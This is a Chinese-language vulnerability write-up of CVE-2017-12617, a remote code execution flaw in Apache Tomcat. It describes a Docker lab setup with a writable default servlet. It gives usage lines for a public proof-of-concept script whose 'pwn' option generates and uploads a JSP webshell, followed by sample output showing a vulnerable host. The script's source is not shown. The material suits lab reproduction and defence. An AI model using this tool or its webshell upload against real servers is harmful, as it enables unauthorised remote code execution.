CVE-2017-12617漏洞分析__tomcat

來源:互聯網
上載者:User
CVE-2017-12617

Apache Tomcat團隊10月3日宣布,如果配置了預設servlet,則在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有作業系統上的潛在危險的遠程執行代碼(RCE)漏洞,CVE-2017-12617:遠程代碼執行漏洞。 環境

使用image: tomcat:7.0.79-jre8複現漏洞

docker-compose up -d

修改 .\conf\web.xml 設定檔,增加 readonly 設定為 false ,一定要記得重啟下tomcat服務。
為了不用每次都要匯入資料,我們將採用掛載的方式持久化,將需要修改的web.xml定義放在./目錄,掛載到容器指定目錄
volumes:
- ./web.xml:/usr/local/tomcat/conf/web.xml poc


./cve-2017-12617.py [options]


options:


-u ,–url [::] check target url if it’s vulnerable

-p,–pwn [::] generate webshell and upload it

-l,–list [::] hosts list


[+]usage:


./cve-2017-12617.py -u http://127.0.0.1

./cve-2017-12617.py –url http://127.0.0.1

./cve-2017-12617.py -u http://127.0.0.1 -p pwn

./cve-2017-12617.py –url http://127.0.0.1 -pwn pwn

./cve-2017-12617.py -l hotsts.txt

./cve-2017-12617.py –list hosts.txt

 python tomcat-cve-2017-12617.py -u http://10.160.11.191:8080   _______      ________    ___   ___  __ ______     __ ___   __ __ ______   / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  | | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /  | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /   | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /     \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/    [@intx0x80]Poc Filename  Poc.jspFile Created ..http://10.160.11.191:8080 it's Vulnerable to CVE-2017-12617http://10.160.11.191:8080/Poc.jsp
參考

*http://www.freebuf.com/vuls/150203.html

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.